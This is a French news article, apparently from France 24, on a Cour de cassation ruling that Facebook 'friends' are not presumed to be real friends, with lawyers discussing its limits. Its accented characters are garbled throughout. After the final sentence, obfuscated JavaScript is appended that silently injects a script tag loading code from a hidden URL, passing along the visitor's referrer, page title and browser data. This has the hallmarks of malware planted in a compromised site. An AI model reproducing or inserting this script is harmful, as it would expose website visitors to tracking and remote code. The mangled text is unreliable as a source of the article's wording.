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La Cour de cassation sait faire la diffAi??rence entre « ami » Facebook et vrais amis

La Cour de cassation franAi??aise a pour la premiA?re fois jugAi?? jeudi quai??i??un « ami » Facebook nai??i??Ai??tait pas forcAi??ment un vrai ami. Cet arrA?t pourrait-il avoir des consAi??quences sur d’autres affaires judiciaires ?

Les amis sur Facebook ne sont pas forcAi??ment des amis aux yeux du juge. La Cour de cassation sai??i??est, pour la premiA?re fois, penchAi??e sur le lien qui unit des internautes qui ont acceptAi?? de devenir amis sur le cAi??lA?bre rAi??seau social.

Dans un arrA?t du 5 janvier, la plus haute juridiction civile franAi??aise Ai??nonce que le « terme ai???amiai??i?? employAi?? pour dAi??signer les personnes qui acceptent dai??i??entrer en contact par les rAi??seaux sociaux ne renvoie pas Ai?? des relations dai??i??amitiAi?? au sens traditionnel du terme ».

La consAi??quence juridique directe est claire : « Il nai??i??y a pas de prAi??somption de proximitAi?? parce quai??i??on est ami avec quelquai??i??un sur Facebook », rAi??sume Marc-Antoine Ledieu, avocat Ai?? la cour et spAi??cialiste du droit des nouvelles technologies, contactAi?? par France 24.

Simple « moyen de communication » ?

Dans lai??i??affaire soumise Ai?? la sagacitAi?? des juges de derniA?re instance, cette apprAi??ciation du lien Facebook sai??i??est rAi??vAi??lAi??e dAi??cisive. La Cour avait Ai??tAi?? saisie par un avocat remettant en cause l’impartialitAi?? de certains membres du Conseil l’ordre des avocats dans le cadre d’une procAi??dure disciplinaire, en raison de « l’amitiAi?? Facebook » qu’ils entretenaient avec son adversaire (Ai??galement avocat). Mais cette « amitiAi?? » ne suffirait pas Ai?? la Cour de cassation pour fausser lai??i??objectivitAi?? de lai??i??ordre, car « le rAi??seau social est [considAi??rAi?? comme] simplement un moyen de communication spAi??cifique entre des personnes qui partagent les mA?mes centres dai??i??intAi??rA?t, et en lai??i??espA?ce la mA?me profession ».

Cette jurisprudence peut-elle avoir un impact en dehors des querelles dai??i??avocats impliquAi??s dans lai??i??affaire ? Pour Fabien Honorat, avocat au cabinet PAi??chenard & AssociAi??s et spAi??cialiste du numAi??rique, il sai??i??agit avant tout dai??i??un arrA?t dai??i??espA?ce (qui vise un cas spAi??cifique), par opposition Ai?? un arrA?t de principe. « Je ne pense pas quai??i??on puisse en tirer des conclusions sur le statut juridique dai??i??ai??i??amiai??i?? Facebook », juge-t-il. Pour lui, la Cour de cassation ne « dAi??finit pas ce quai??i??est un ami Facebook de faAi??on pAi??renne » en dehors du cas spAi??cifique du litige qui lui avait Ai??tAi?? soumis.

Dans le contexte sAi??curitaire

L’avocat Sefen Guez Guez est d’un autre avis. Sur Twitter, il imagine que la dAi??cision pourrait avoir des consAi??quences dans les contentieux sAi??curitaires. Ai?? lai??i??heure de lai??i??Ai??tat dai??i??urgence oA? lai??i??activitAi?? sur les rAi??seaux sociaux est plus que jamais scrutAi??e par les services de renseignements, certains utilisateurs peuvent hAi??siter Ai?? accepter des invitations sur Facebook de personnes quai??i??ils ne connaissent pas forcAi??ment.

Lai??i??arrA?t de la Cour de cassation peut les rassurer. « Ai?? la lecture du jugement, on pourrait comprendre que le simple fait dai??i??A?tre ami sur Facebook avec un jihadiste ou un criminel nai??i??a aucune consAi??quence juridique », dAi??crypte Marc-Antoine Ledieu.

Pour autant, cet expert ne pense pas que les « amitiAi??s » sur Facebook ne pourront plus A?tre Ai??voquAi??es devant les tribunaux aprA?s cette dAi??cision. AStre ami sur le rAi??seau social pourra « faire partie dai??i??un faisceau dai??i??indices retenus contre un suspect », note-t-il. Dans le cas de la bataille dai??i??avocat, la Cour de cassation aurait peut-A?tre rAi??agi diffAi??remment si les membres du Conseil de lai??i??ordre avaient commentAi?? toutes les publications du plaignant. Un internaute qui devient « ami » dai??i??un jihadiste sur Facebook ne craint rien des tribunaux, mais, souligne Marc-Antoine Ledieu, « si en plus il passe son temps Ai?? ai???likerai??i?? des vidAi??os jihadistes, il peut se retrouver accusAi?? dai??i??apologie du terrorisme ». Ainsi aux yeux des juges, le dicton « Montre moi tes amis, je te dirais qui tu es » ne s’applique pas Ai?? Facebook et n’est pas suffisant. ;];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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